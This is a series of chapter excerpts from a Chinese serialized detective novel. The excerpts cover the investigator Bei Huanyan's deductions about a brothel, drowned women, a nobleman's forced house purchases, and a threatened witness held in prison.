北寰言头也不回,出府衙上马,往官驿走 35. 眉目 《盛世山河(探案)》全本免费阅读 凌信翻了一会儿,看见一个简易画的卷轴,小声嘀咕打开:“是这个么?好像是……” 他把卷轴拿过去,铺在北寰言桌上,自己也在他对面坐了下来。 只见北寰言拿起朱笔,按照他找出来的其山高价买入宅子方位,一个一个圈了上去。 很快北寰言就把他列出来的二十多处宅子,全部都在舆图上描了出来。 “你描这个干什么?”凌信问。 北寰言放下笔,盯着舆图上这些红圈,沉默不语。 “从城南到城北都有宅子。”凌信两只手撑着脸,眼睛盯着舆图,“这人是不是有病啊,为什么在城里高价收购这么多民宅?他又住不了这么多宅子。” 北寰言摇头,他也想知道其山为什么这么干。 “直接去问他不行吗?”凌信问。 “眼下这种情况,不要打草惊蛇罢。”北寰言缓缓道,“还不知道其山这事背后有没有藏着其他事。雪娘供出其山,肯定有所图谋。一开始我没想明白,但是现在,我似乎有点明白了。” “你明白什么了?” 凌信不懂他这几日不出门,能想明白什么事。 北寰言抬眸看向凌信:“我们可以从最开始事件开始捋。 “先是我们进入沁春城开始,在雏凤楼里被黄海他们抓捕,关进了府衙大牢那一晚。 “小舞与时均白一起去了隔壁宅子,逃脱非常狼狈。 “说明隔壁宅子里面藏龙卧虎。只是单凭一个手无缚鸡之力的小姑娘,是跑不出来的,对吧?” 凌信点头:“那个从隔壁院子里跑出来的小姑娘,确实是疑点之一。” 北寰言继续道:“那姑娘跑出来,状告雪娘逼良为娼,雪娘抵死不认。后来小舞他们发现了护城河里的女尸,找了家属来认领,才倒逼雪娘承认那些女尸确实是雏凤楼买下的姑娘。” “但她不承认她杀人。”凌信接着说。 北寰言点头:“是。到此,她为了自保,抛出开国伯其山,说那些都是其山的产业。而她不过就是代为打理。” 北寰言眼眸微眯:“事件看上去好像什么都说得通。但有两个疑点。一,雪娘为什么要放那姑娘出来状告自己?二,那女子状告雪娘带着的那个名单是从哪里来的。如果是从某个册子上誊抄下来的,那原那本册子在哪里?” “嗯……” 凌信眨眨眼,不知道怎么解释。 北寰言继续道:“我让纵尚还有黑市帮我查雏凤楼资金走向,前脚刚开始查,后脚其山就要就地伏杀我。 “即便是他跟雏凤楼有什么关系,即便是他跟河道里女尸有什么关系,在我还没查清楚,有定论之前,他是不是跳反,跳得太早了些? “在此之前,他也只是强买强卖,强占民宅,这些个罪名都不足以让他削官断爵,最多回到陛下那里,陛下下敕令责备一番罢了。 “其山为什么那么着急,想要杀死我呢?”说到这里北寰言拿起茶盏,喝了一口润了润嗓子,“所以——雏凤楼女尸,根本就不是他想杀我的原因。他想杀我,是雏凤楼以外的原因。” 凌信捏着自己下巴,嘀咕:“雏凤楼以外的原因杀你?你是觉得——因为你查了府衙这些年审案记录,他才动的杀心?不可能吧?!他在府衙案子登记在册的,也不过就是强买强卖宅子……这东西,只要他记录在案,不管谁来查,都会看见啊?为什么偏偏你看见就不行?” 北寰言提醒他:“因为小舞与时均白似乎触及到了这整个事件的核心。其山默认小舞与时均白也是我的人。 “所以到此,护城河、水闸、雏凤楼隔壁宅子、其山、小舞与时均白刺探被偷袭,如果连成一条线——那么其山想杀我,也不奇怪了。 “毕竟小舞与时均白只是看了下水闸与再探院子,也差点死于非命。” “所以你现在认为,护城河、水闸、雏凤楼隔壁的院子、还有他强买强卖那些宅子,是有关联的,而且性命攸关?”凌信问。 北寰言放下茶盏,点点头:“我只是觉得这几件事有关系,只是还没找到直接的联系。单就我们一起遇险这事,我就相信,其山那里还藏着别的事。不仅仅是因为护城河那些女尸。” 凌信撇撇嘴,想到了别的:“雪娘那里你看出来什么了?” 北寰言道:“到此,其实雪娘的目的已经很明确了。她供出其山,只是想要我去查其山的罪行,让他下狱。她只是其山的外室,进不了其山的家谱。其山若是出事,她不必跟着一起下狱被发卖。雪娘放任那个女子从雏凤楼里跑出来,状告自己,其实只是想借我的手,摆脱其山,成为雏凤楼名副其实的主子。” 凌信张了张嘴,觉得不可思议。 雪娘看上去柔柔弱弱的一个女子,竟然有这么大的心思。 她从知道北寰言是南境巡察使开始,就设了这一局在这里,想要彻底摆脱其山的控制。 “不对啊……”凌信忽然想到一件事。 “嗯?”北寰言看向他。 “我们是入城以后就去雏凤楼,进了雏凤楼就被抓。”凌信蹙眉,“隔壁楼是当天晚上就毁的,说雪娘是想摆脱其山,自立门户,除非她从我们没进城开始,就知道你这次来南境的身份……” “所以我不是说了吗?”北寰言道,“雪娘、告状的女子、许都、跟踪我们的人是在一条线索线上的。在许都的人给雪娘消息,说我来南境的目的。于是就有了雏凤楼被抓,隔壁楼跑出一个女子,随后隔壁宅子被毁的事。只有这样她才能彻底的摆脱其山。” 北寰言目光转向舆图:“雪娘的事,我们可以暂且先不想。现在我们要想的是,这二十多处宅子、河道、水闸、雏凤楼隔壁的宅院到底有什么关系。关系深到,必须取我们性命不可的地步。” 凌信蹙眉思索片刻道:“河道、水闸、那院子,怎么看都是北寰舞与时均白接触的最多。这事是不是应该找他们商量?” “言之有理……” 北寰言跟凌信解释的时候,眼睛一直盯着他画出来的那二十几处宅院。 他的眼睛自城南往城北的舆图上一扫而过。 似乎 36. 兄妹 《盛世山河(探案)》全本免费阅读 平伯笑着点头问:“大公子与凌小公子在这府上用饭吗?” 北寰言嗯了一声,今日他恐怕与时均白北寰舞有很多话要谈。 平伯见北寰言要在府上用饭,立即高兴地嘱咐厨房去准备饭食。 凌信闻着药味去小厨房找凌芷,北寰言则是先去北寰舞的院子看她的伤。 北寰舞才醒,准备喝药。百无聊赖地坐在软榻上,摆弄随身携带的小机括。 “大公子!” “嗯。” 芍药声音从屋外传来,北寰舞看向门口,看见北寰言撩着衣袍从外面进来。 北寰言看见北寰舞鼓着嘴,一脸不高兴地坐在暖榻上,扣着机括,眼神瞬间变得柔和了许多。 “好些了吗?”北寰言走过去,牵起她的手,想要看看愈合的怎么样。 北寰舞不给他看。 “小舞。”北寰言加重了语气,一副兄长老成的样子挂在脸上。 “哼,”北寰舞转过身去,不看北寰言,“你自己玩,不带我。哪有这样的!” 北寰言轻叹一声,在她身边坐下,去看她的手,她不躲,只是也不理他。 北寰言望着她的手,轻声道:“对不起。” “什么就对不……” 北寰舞蓦地回首,看见北寰言盯着她的手,眉眼处满是殷红,眼眶里的光都跟着一起泛滥。 他心疼。 心疼之余还有些自责。 本来被迫躺在床上睡了几日的北寰舞一肚子火,眼下看着北寰言这样,也气不起来了。 她低声说:“我已经不疼了。” 北寰舞见不得北寰言这样,他跟她长得一模一样。 他眼圈红了一圈,她就好像也看见自己眼圈也红了一圈。 “我没想到会这么危险,”北寰言眨了一下眼,睫毛上就带了一点泪,说话都有些哽咽,“如、如果我知道,我就不会让你们去。” 北寰舞抿着唇,安慰他:“没事,你在官驿,没法查那些藏在暗处的事。是我自己要跟你来的。我也想过会有危险,所以我带了很多小机括出来!而且,你换个角度想啊!这多亏了是我跟师兄去查那两个地方吧?如果是你跟凌信去查,肯定不能全身而退!也就是我们法子多,才能查了事,还跑出来!” 北寰舞不气了,甚至有点得意,在跟北寰言邀功。 北寰言轻轻地摩挲着北寰舞的手心:“让小芷好好给你养着,如果留疤了,我就也在我手上划一道,算是赔给你的。” “你别胡说!”北寰舞收回手,郑重其事地说,“我会好好养的。小芷的药可好用了,虽然刚开始用的时候有点疼,还有点痒,不过愈合得很好,小芷说肯定不会留疤的。” “那就好。”北寰言眉心一直拧着。 北寰舞伸手去摸了摸北寰言的眉心:“哥,几日不见,你怎么这里好像多了几道沟壑一样啊。” 北寰言拉下北寰舞的手,道:“事情有点眉目,却又迷雾重重,有些着急罢了。” “你还会着急啊?”北寰舞笑了,“什么事让你这么着急,说出来让我乐乐?” 北寰言难得笑了,他笑起来,左边嘴角下方竟然有一个小梨涡。敛弃平时的淡漠,这样看过去,竟然有些可爱。 他看向北寰舞:“后面的事,可能要拜托你们了。我眼下还有别的事要做。” “真的?”北寰舞一听可以出去玩了,就来了精神。 “我们一起去找时均白,有些事我想问问他。”北寰言说着便要起身。 北寰舞一听找时均白,就不太乐意。 北寰言见她不动,很是奇怪,后来一想,转了话头:“对了,我还没问你,雏凤楼那一夜,你们若想躲过楼里的人追捕,我前思后想觉得只有……” “啊——”北寰舞当即跳起来,捂住北寰言的嘴,“哥哥哥哥哥!你可别瞎想!” 北寰言挑眉,轻笑:“是我瞎想,还是你做了不认?” “我哪不认了啊!”北寰舞鼓着嘴,“而且,那种情况下,吃亏的是我好吗?!” “他占你便宜了?”北寰言立即收了笑意。 “没有……”北寰舞低着头,“时均白说如果我介意,他可以让他爹爹去跟暮云峰跟爹娘提亲,可……” 北寰舞抬眸看向北寰言:“时家是那样的情况,他小叔叔在给陛下建皇陵。他是嫡系独子,以后的皇陵将会是时均白的儿子去建……这世上,哪有这样不近人情的家规啊……” “……” 北寰言沉默了几息,道:“其实这事,我也想过。皇陵虽然很重要,但也没必要非要一个人去陪葬,也太不尽人情了些。且,能设计、督建皇陵的人,也是他们那一辈的佼佼者,一生所学都葬于墓下确实有些可惜了。这事,其实陛下那里好说。陛下一向不看重这些……但,小舞你要明白,如果想要改变这一切,那便是要跟家族几百年以来立下的规矩、家族耆老那些腐朽的思想作斗争。” 北寰舞咬着唇。 “我们到底不是时家人,这事也由不得我们插手——除非,时均白他自己接任家主,想做出改变,不然没人能帮得到他,你懂吗?”北寰言语重心长。 “爹爹也想这么做来着。”北寰舞抬眸,看着北寰言,“不然我们俩也不会跟娘亲姓。” 北寰言点头,他都明白。 “哥,”北寰舞牵住北寰言的手,“你好多年都没回暮云峰看爹爹了,你俩置气要置到什么时候啊?” 北寰言唇线紧抿:“我没有同父亲置气。是眼下有更重要的事要做。等我把这里的事解决了……就回去看父亲母亲。” “真的?!”北寰舞脸上绽开了笑颜,“那说好了,这里的事解决了,我们就回去看爹爹娘亲!” “嗯。”北寰言应下。 “对了,哥。”北寰舞想起什么,“你知不知道,我们去护城河找到那些女尸,是一个书生指引我们去的。” 北寰言表情瞬间变得严肃起来:“有人指引……” 北寰舞点头。 忽然之间,有些他想不明白的事,在这一瞬间连了起来。 原来是这么回事? 一直捋不顺的地方,原来是因为少了一个关键信息? “哥……”北寰舞拿手在北寰言眼前晃了晃。 北寰言回过神,看北寰舞:“嗯……我们去看看时均白,我有事找他。 37. 谈谈吧 《盛世山河(探案)》全本免费阅读 北寰言笑着问她:“来沁春城吃过城里的好吃的了吗?” “没呢。”凌芷摇头。 “等我忙完,带你去吃?” “好!”凌芷高兴地抱住北寰言的胳膊。 凌信已经懒得看凌芷了,不知道以为北寰言是她亲哥哥。 这几日凌芷用药减了一些嗜睡的药材。 北寰舞与时均白老老实实躺在床上睡了好几日,皮外伤都已经好的七七八八了。 内里本身也伤得不重,睡几觉便养回来了。 早起无事,时均白在院子里松筋骨。 凌芷看见时均白,要喊出声,北寰言做了一个噤声的手势。 四个人站在院子门口看时均白,先是松动了身上各个关节,关节被一节一节打断了一样,往回缩了不少。 他本来发育就比较好,个子很高,没想到他这一缩,身高竟然比凌芷还矮了半头。 凌信眯着眼,小声嘀咕:“这就是时家的缩骨术啊,果然百闻不如一见,竟然能缩得这么小。” 北寰舞也是第一次见到时均白缩骨术,时家祖上传下来的盗墓技巧,这缩骨术就可以让他们钻进本身不大的洞口。 可时家明明到了时均白这一代,根本就不需要靠盗墓为生了,为什么还要学这么疼的技能啊? 这缩骨术,一看就知道,疼得很。 时均白把骨头动了个来回,才发觉院子门口站着四个人,围观了半天,顿时觉得不好意思,抱拳一礼。 凌芷小跑过去,牵起时均白的手,给他切脉。 摸了一会儿,跟一个小大人一样,把手背在身后,说:“嗯,好的差不多了。” 凌芷圆乎乎地跟一个小团子一样,学北寰言老成的模样,惹得时均白直笑:“多谢小神医。” 笑罢他看向北寰言:“特地来找我的?” 北寰言敛了脸上的神色,眼神变得清冽:“你知道我会来找你?” “嗯。”时均白点头,做了一个请的姿势,让大家进里屋说话。 北寰言进屋没坐,负手立于花厅正中盯着时均白。 北寰舞拉着凌芷,坐在阁里软塌上。 “舞姐姐……” 凌芷不解,为什么挺融洽的气氛,忽然就变成了这样。 她的言哥哥与时均白之间似乎有什么事,心照不宣。 北寰舞做了个噤声的手势,让凌芷稍安勿躁:“听他们说。” 时均白轻叹一声,似是有很多无奈,问:“你查到什么了?” “你不打算跟我说说,你为什么冒着那么大危险,也要再探雏凤楼隔壁的院子吗?”北寰言问。 时均白垂眸,沉默不语。 北寰言不逼他,让凌信把沁春城舆图拿过来,道:“你先看看这个,再决定要不要把你知道的事告诉我。” 时均白蹙眉,看着凌信抱来一张巨大的卷轴。 北寰言与凌信合力,把卷轴展开,平摊在地上。 北寰舞好奇,也走过来看。 时均白只是扫一眼,脸色惨白。 北寰言把这几日他们在外面查抄开国伯其山府邸的事给说了一遍。 “这图上这些我圈出来的地方,就是其山强买强卖的宅子。”北寰言指了一条直线给时均白看,“我不懂奇门遁甲,也不太懂风水布局。所以即便是我找出来其山诡异举动,也破解不了他最终的目的。你们时家,精于此道。我想这图上的房子,与你一直很在意的事情,应该是同一件事。所以我就带着舆图来找你了。” 时均白双拳紧握,眼眸逐渐变得猩红。 “你不想说的事,我不强迫。”北寰言缓声道,“但这事,我需要你帮我查清楚。这或许牵连着的,是许多人的性命。” 时均白颔首,一言不发。 这好似很难抉择,因为他的手在微微发抖。 北寰言余光扫了一眼时均白发白的指尖,走到他身边,低声道:“我其实心里是有些猜想的,不然我也不会来找你。你可以不应,我自有别的手段把这事挖出来。” 北寰舞听着,便站起身,来到舆图前面。眼睛一直盯着舆图上北寰言用朱笔连起的一条线。 盯了好一会儿,忽然明白了什么。 她目光湛明地望向北寰言。 北寰言正巧也抬眸看向她。 北寰舞微微蹙眉,似乎想说什么。 北寰言微微摇头,示意她不要多嘴。 他把目光转向时均白,又看向北寰舞,意思再明显不过——这事,终究需要时均白来解决,你插手,只不过是解决一时之困。 北寰舞深吸一口气,咬紧下唇。 北寰言所虑确实深远,如果他们俩猜想是一样的,这事还真的只有时均白一个人可以解决。 北寰言不着急逼时均白做决定,而是转身找了个椅子坐下。 平安停好马车,立即去备了四盏茶,一盏牛乳,从膳房端过来。 他进屋来,发觉屋里气氛极其压抑。 北寰双子,凌家兄妹,八只眼睛都死死地盯着时均白。 时均白则是低头,望着铺展在地上的舆图,一脸肃穆。 平安轻手轻脚地进了里间,把牛乳递给凌芷,凌芷接过来咕嘟咕嘟地喝了一大口。 而后把四盏茶一一放在桌面上,退了出去。 凌信实在受不了这屋里的气氛,揽住平安,带着他往外走,一边走一边问:“中午厨房做什么好吃的了?我去看看。” 北寰言把茶喝完,也不在这里多留。 他起身,看着凌芷的方向,向她伸手做了一个牵手的动作。 凌芷赶紧把杯盏里最后一口牛乳喝完,把杯子放到桌上,跳下软塌,牵着北寰言的手,跟他出去。 “言哥哥……”凌芷小声问,“时哥哥怎么了?” 北寰言并不答,只柔声问她:“最近看书了吗?” “看了,有些字不认识,哥哥跟你都不在。院子里的人都不怎么识字,没人教我……”凌芷慢吞吞地说。 “我们去你的屋里,把书拿来,我教你。”北寰言声音渐行渐远。 屋里就剩下北寰舞与时均白两个人了。 北寰舞其实也不想待在这里,可如果这事时均白想去查,她还必须跟着。 38. 提审 《盛世山河(探案)》全本免费阅读 凌芷也想了想,认真地说:“如果苦味没有那么重,我应该就会吃了。” “好,那以后让膳房给你做饭菜的时候,加点糖或者醋调味。”北寰言顿了顿,看门口好一会儿,又道,“你哥哥说得没错,你只吃肉,不吃菜,且不说你长得高长不高,但肯定长得不好看。” “啊?”凌芷傻了,“为什么呀?” “因为你舞姐姐,小时候就很喜欢吃菜。”北寰言道,“你看她现在是不是长得很好看?” 凌芷不小了,已经十一岁了。 她虽然不知道自己长得算不算好看,但是她知道言哥哥跟舞姐姐长得跟神仙一样。 她再怎么说也是个小姑娘,是个小姑娘哪有不希望自己长大变好看的? 她立即眨巴着眼睛看向北寰舞问:“舞姐姐是吗?” 北寰舞知道北寰言是哄她吃菜,连忙点头:“是啊,我小时候可喜欢吃菜了。” 凌芷放下碗筷,想了半天,慢吞吞说:“那我以后也要多吃菜。我也想变得跟舞姐姐一样好看。” 北寰舞见她傻乎乎的,忍不住摸她的头:“你看,你哥哥也不是故意不让你吃饭的。他是怕你长不高才让你多吃点菜。你方才那么说他,是不是惹哥哥生气了?你想想,如果我那么说你言哥哥,言哥哥会不会很难过?” 凌芷想着如果北寰舞跟北寰言那般说话,想着就觉得挺过分的。 她从凳子上慢吞吞地蹭下来,小声说:“哦,我知道了。我这就去找哥哥道歉。” 说完她就蹬蹬蹬跑了。 北寰舞笑眯眯地盯着北寰言:“我跟你吵架,你会不会难过啊?” 北寰言低头继续吃饭:“食不言。” 北寰舞已经过了跟哥哥撒娇的年纪,过完年她就要及笄了。而且她出生,跟北寰言本身就差了一刻钟,这才让北寰言当了哥哥。 北寰舞一直觉得,北寰言只认为比他小很多的才算是妹妹,比如凌芷。 而她最多就是一个比他小一刻钟的影子,他对自己影子当然没对凌芷有那么好耐心。 北寰舞见他不想说话,撇撇嘴,起身:“你慢慢吃,我去准备晚上的事了。” 北寰言没应。 北寰舞根本不知道,她受伤那一夜,北寰言此生第一次拔剑,便是为了见她。 北寰言不是不宠她,是宠得没那么明显。 * 凌芷跑出膳厅,没看见凌信。 绕了一圈也没找到人影,觉得奇怪,想着凌信会不会去时均白院子了,就屁颠屁颠跑到时均白院子。 时均白院子里没有使唤下人。 院子里没找到凌信,凌芷又扶着门偷偷地往屋里偷窥。 她伸头的一瞬间,看见时均白背对着她用饭,用衣袖擦了擦眼睛。 凌芷歪着头,眨了眨眼睛,心道:时哥哥这是……哭了? “谁在外面?”时均白回头。 凌芷不好意思地出来,问:“时哥哥,你看见我哥哥了吗?我在找他。” 时均白摇头。 凌芷哦了一声,又屁颠屁颠跑了。 一直到北寰言从宁府离开,凌芷也没找到凌信。 她蔫了吧唧地抓着北寰言的胳膊,把他送到门口。 北寰言要走,她不让。 凌芷委屈巴巴的,眼睛里带着一点眼泪问北寰言:“哥哥他是不是生我气,不要我了啊?” 凌信的秉性他多少知道些。 就是闹了小脾气,躲起来了。放他自己过几日也就没事了。 北寰言摸着凌芷脑袋说:“没事,下次回来就好了。哥哥哪会跟妹妹记仇?” “嗯。”凌芷揉揉眼睛,把眼泪揉掉了。 北寰言从府里出来,踩着石凳上了马车,看见凌信抱着手气鼓鼓地坐在马车里,顿时没忍住,侧头笑了一声。 凌信没好气:“有什么好笑的!?” 北寰言坐到他身边,缓缓道:“小芷到处找你,你真跟自己妹妹生气?” “那个小白眼狼!”凌信堵住耳朵,“你别跟我说她,我没这个妹妹。” 北寰言点头:“那行,等你消气了,我们再走。反正我不会赶车。” 凌信气归气,事还是要干,他起身问:“去哪啊?” 北寰言道:“府衙。” 马车外凌芷看见凌信从马车出来,想要去跟他说话,却见他看都不看自己,赶着车就跑了,立即眼眶里全是眼泪。 “哇”的一声哭了出来。 北寰舞连忙上去抱住凌芷。 凌芷转身把头埋在北寰舞衣服里,一边哭一边说:“哥哥不要我了。他不要我了。” * 凌信驱着马车,到租车的地方把马车还了。 两人又溜达着回到府衙。 秋日午后,沁春城变得凉爽了些,可还是热。 两人走路回到府衙,额头沁出了汗。 冷威守在府衙,看见北寰言与凌信顶着太阳走过来,连忙吩咐身边人去端两碗解暑的绿豆汤来。 进了府衙,北寰言刚到后堂,就有御林军士兵端着两碗绿豆汤送过来。 北寰言接过来,问:“这是谁准备的?” 那士兵回答:“是景大监着人去准备的。不仅弟兄们有,牢里关着的那些人也有。” “嗯。”北寰言点头,让他去忙。 景雀在御前办事,一向得体妥帖。 他不明着赏,但就是在这些小事上,深得人心。 一碗绿豆汤下去,方才在体内乱撞酷热瞬间压下去不少。 北寰言把碗放在桌上,道:“走去牢里看看。” 凌信一口喝完,跟上问:“你想提审谁,直接让人去提便是。” “那牢里环境太差,我想着,是不是要给他们换个地方关。免得他们心生怨怼,后面问话不配合。”北寰言抬脚往牢里走。 景雀一向不多事,但这事他既然做了,一定有他的理由。 景雀对下有自己的一套御下手段。 府衙地牢北寰言住过,里面老鼠蟑螂满地跑,阴暗潮湿。 其山府上的人,也不是全都有罪,只是现在没工夫审他们,暂且羁押而已。 与下不好,让下面人心生怨怼,不配合工作,这事景雀在宫里见过不少。 他替他把事做了,他自然也要警醒些。 外面骄阳似火,大牢里常年不见阳光,倒还凉爽 39. 卑鄙 《盛世山河(探案)》全本免费阅读 北寰言又问:“你拿着那个名单,是从哪里来的?” 如玉答:“我抄的啊?” 北寰言蹙眉:“从哪里抄的?” 如玉道:“就是雪娘手上的一个账本。” “那账本,你见过?”北寰言问。 如玉点头:“我就见过几次,是我去给雪娘汇报新婚姑娘的时候,无意中见到的。我每次去,如果看见那账本,雪娘就会把它藏起来。” “说重点,那账本内容你见过?”北寰言复又问了一遍。 如玉道:“见过。有一次,我进雪娘的屋子,发现她不在。刚好那账本就在桌上,放着,我好奇,就去看了一眼,里面记载的都是经常往来雏凤楼的客人。记载的还有那些客人跟哪个姑娘成了事,付了多少银子,支付方式……” 说道这,如玉似乎想起什么,感慨道:“说实话,我还是第一次看见有人花五万两与公子共度春宵的。” 凌信本身没怎么听,可听到“五万两”的时候,注意力便集中了起来。 与公子共度春宵? 那好像是时均白易容,带着宁远银号的银票去竞标北寰舞。 共度春宵,也就是说,时均白与北寰舞,他俩! 凌信反应过来看向北寰言。 北寰言连忙轻咳了一声。 “……” 如玉的话被打断,狐疑地看着北寰言。 北寰言道:“你继续。” “一般人不会这么做,”如玉继续说,“因为去那里的人都知道,那些姑娘,第二日都会被绑着,坠入护城河里溺死。一夜风流,花上几千两已经是极限了。” “为何你拿过来的名单上面,只记了名字,官职。却没有旁的记载?”北寰言问。 如玉说:“我那时候怕雪娘回来,就随便抄了一些。我本想着拿这个名单当护身符,自己用的。我年纪也不小了,不想在那里当一辈子妆娘,我不想孤独终老,我也想嫁人成家。” 北寰言眯着眼,手边随便拿起一本书册,递给如玉:“你来把这段抄给我看。” 如玉疑惑地眨了眨眼睛,缓缓起身,去案牍上,把北寰言让她抄的那一段,抄了下来。 北寰言拿起如玉新抄的字,跟之前她状告时候送的名单字对比。 笔锋,字体结构,行笔习惯都差不多。 这名单确实是她亲手誊抄下来的。 北寰言看了许久,才缓缓道:“你没有说实话。” 如玉愣了一下,不知道北寰言说的什么意思。 北寰言把纸放下,眸光清亮,看向如玉道:“你这张纸上,只写誊抄了南境官员的名字。官衙邸报,门口公示栏,都有公示过官员的名字,你想知道官员的名字并不难。所以你只抄了这些人名字,没有其他信息。但——只有这些名字,并不能保你从雏凤楼里出来……” 如玉脸色瞬间煞白。 北寰言走向她,轻声道:“你手里,一定还有另外一份,足以让你从雏凤楼里出来的名单。” 如玉没想到北寰言竟然如此聪明,只是问了她几句话,就听出了破绽。 北寰言见如玉脸色变了又变,心下了然,继续道:“你怕自己真的把保命的名单告诉官府,官府官官相护,不能救你。你怕雪娘最后没有被查,翻过身来找你算账,所以你隐去了最重要的信息。这样,即便是雪娘没有被查,苟活下来,你就可以以真名单没交给官府为借口,求雪娘饶你一条命。” 如玉噗通一声跪了下来:“公子……” “我说的,对与不对?”北寰言声音变得低沉,仿佛是有重量一般压下。 如玉吓得眸光乱飘,却不说话。 “所以那日,你来敲登闻鼓,并不是因为府衙没开门没过来。你是去了别的地方,把那份真正的名单,藏了起来,又隐去关键信息,重新抄了一份名单,送到府衙来的。”北寰言踱步到如玉面前,“那份真正的名单,在哪?” 如玉低着头,紧咬牙关,一言不发。 北寰言淡淡地睨着如玉:“若你执意不说,也无妨,我自有我调查的手段。但如果这事是我调查出来的,你就没机会将功赎罪了。” 如玉沉默。 北寰言知道她在想什么,她只是觉得之前所说的一切都是他的臆测,她怕他诈她。 北寰言道:“如果不是我那日查抄了开国伯府,今日你的一面之词,我或许就信了。” 他负手踱了几步,回眸看她:“这是你与雪娘的一个交易吧?” 如玉心中一惊,手脚发凉。 “那晚,不是你靠自己本事逃出来的,而是雪娘故意放你出来的。她要你来状告她,目的是把你们幕后的主子其山拖下水,由官府去查他的恶行,把他收监,就地正法。她想借我的手,成为雏凤楼真正的主子。” 北寰言蹙眉:“你方才那些话,有一个疑点。若如你所言,雪娘手上那本账本当真那么要紧,怎么可能就那么随便的放在了桌上,让你轻易看了去?所以,不是她粗心把账本放在桌上让你看去了,而是你故意趁她不在进去搜的。你或许是有想离开雏凤楼的心思,但那绝不是一朝一夕养成的。” 如玉不说话,北寰言也不需要她说,自顾自道:“你在雏凤楼十年,时间不短。做事还算勤谨,不然以雪娘的心思,断不会留一个知道雏凤楼这么多秘密的人在身边伺候。 “这是她信任你,让你出来报官的原因。而你若是心思单纯,也不会留雏凤楼这么多年安然无恙。 “她放你出来报官,你便报了。 “你不仅报了,还想顺便逃离雏凤楼。 “所以才有了名单的事。 “那日你去报官,雪娘本不惊讶。可当你拿出那个名单的时候,雪娘眼中的惊讶不易言表。 “因为她根本就没想过你会带着名单去报官。 “那日她本来预想是,你去报官,她便认。 “但你带着名单去报官,她就不能认!因为只要她认了,她就会立即死在牢里。即便是其山不杀她,那些名单上的人,也会派人去杀她。 “这就是我当初死活想不明白的一点,为什么雏凤楼隔壁的院子烧了,证据全无。你依然能 40. 灭口 《盛世山河(探案)》全本免费阅读 这种感觉真奇妙。 北寰言第一次被人骂卑鄙,竟然觉得有些肆意的快乐。 原来当坏人,是这种感觉。 比当好人容易。 如果这他都能猜对,他就不介意再多猜一点。 “护城河的女鬼,也是你让人放出的消息吧?”北寰言脸上抹上了些许阴鸷,“其实无论什么时候,只要有人发现了河里的女尸,女尸查到雏凤楼,你就能把那名单递到府衙来。帮你散播女鬼流言蜚语的那个人,是个书生打扮的人吧?他就是你的情郎对吗?” “你!” 如玉再也忍不住了。 “你漏的破绽太多了,一个狼狈出逃、来敲登闻鼓的人,不应该穿得那么干净。从我看见你的第一眼,就知道你有问题。”北寰言望着如玉,“名单,换你的情郎不死或者换你不死,你选一个。” “……” 如玉低头,凌信收了剑,看向北寰言。 他不懂,北寰言为什么要让这姑娘做这种艰难的抉择。 微风骤起,把树枝吹得沙沙作响。 本来晴天万里,一瞬间,便被乌云遮蔽了天日,暮气茫茫,天色向晚。 “我选他。”如玉轻声道,“他是一个有才学的人。我在雏凤楼里,薪酬微薄,能供他一时,供不了他一世。我这辈子就这样了,没有盼头了。但能得他一顾,得他深情,我死而无憾。” 如玉爬起来,拖着一条半麻的腿,走向案牍,写下一个地址,拿给北寰言:“公子,你能在这府衙里审我,一定是一个大官吧?求你,如果可以,保他仕途畅通无阻。” 北寰言接过那张纸,睨着她,道:“但愿,他也如你所想,选的是你。” 如玉没听懂,抬头茫然地盯着北寰言。 凌信走到如玉身边,把她腿上的银针取下,提点道:“你若交了名单,那便是你死。你还不懂吗?” 如玉摇头。 北寰言不欲与她多说,抬脚离开。 凌信轻叹一声:“你在牢里多加小心罢。” 凌信让御林军把如玉送回牢房里,交代冷威看好如玉,转身追上去。 北寰言侧目:“南街,流水巷。” 两人去了马厩,牵出马匹,翻身上马,向南街流水巷奔去。 此时狂风大作,乌云密布,天云压下来,似有一场暴雨即将来临。 走大路,没人开道,道路难行。街上货物车辆马匹毛驴什么都有。大街上有辆骡车翻了,前后堵了一堆人。 北寰言与凌信的脚程在路上耽搁了一会儿,到流水巷的时候,已经没了天光。 四邻都亮起了灯,唯独北寰言要找的那家夹在灯火里,暗得格外显眼。 两人从马上下来,凌信亮出飘渺剑,小心翼翼地向门口靠去。 北寰言蹙眉,一推,院门便大开了。 这宅子不大,是一进的院子。绕过门口的照壁,就是里屋。 只是已经入夜,屋里没掌灯,让人起疑。 凌信与北寰言相互递了一个眼神,便向里屋靠去。 两人在外面听了一会儿,里面没动静,只有风声。凌信便不管不顾一脚踢开。 屋门大开,狂风骤起,直接吹散了屋里案牍上放着的纸张。 散散白纸在屋里翻飞又缓缓落下。 凌信先进去,横剑于胸前,扫了一圈,发觉屋里确实没人,才收了剑。 北寰言缓缓走到案牍前,桌上砚台里,还有墨汁,他拿手沾了一点,捏了捏:“新墨。” 他又扫视一圈,看见一张带着污渍的宣纸,他走过去,把纸捡起来,只见那纸上似是被透过墨迹。 隐约能成几个字。 “玉……”北寰言努力认着,“招?” 几息安静,北寰言忽然反应过来,瞳孔微缩,当即转身就往外疾行:“回府衙!” “什么?”凌信见北寰言一阵风地往外走,立即跟上,“写的什么?你这么着急回去?” “如玉招供。”北寰言把纸握在手里,“我们身边有他们的人!所以他们才没有再派人来跟踪!” “什么跟什么?” 北寰言说得断断续续,凌信没听懂。 北寰言也顾不上跟他多说,奔到门口,翻身上马,往府衙赶。 “你说什么啊?”凌信翻上马,跟着北寰言跑。 北寰言根本顾不得跟凌信多解释,马奔出清水巷,又到大街上被堵。 北寰言闭上眼睛,努力从记忆里调出之前看过几眼的沁春城舆图。 很多画面从他脑子里闪过,一张沁春城舆图在他脑子里逐渐拼合完成。 他凭着记忆里的那张舆图,找到了相互贯穿的小巷,直至府衙门口。 “走这边!” 北寰言已经在脑子里构建完成了路线图,他绕开拥堵的大路,直奔小巷。 * 如玉抱着自己的双腿,蹲坐在角落,抹着眼泪。 坐在这深牢之中,什么前途,什么郎君,都是奢望。 冯郎,冯郎…… 如玉靠在潮湿的牢壁上,一直想着那个人。如果她受罪能换来他一世长安,那她也认了。 忽然牢门外有动静。她下意识地往墙角缩。 凌信走之前交代她在地牢里小心些,可她手无寸铁,若有人有心害她,她怎么防得住? 一个黑影映在墙上,一缓一缓地往她这里来。 牢房里忽然一下没了声音,只有那个脚步声在往她这里靠近。 如玉满眼泪光,她是真的害怕。 她知道自己早就碰触了雪娘的逆鳞,也知道那些出现在名单上的人都有杀她的心思。 可她能怎么办呢? 为了博一条出路,为了让自己脱离贱籍,她必须这么做! 她没有错,人不为己天诛地灭! 她不想死。 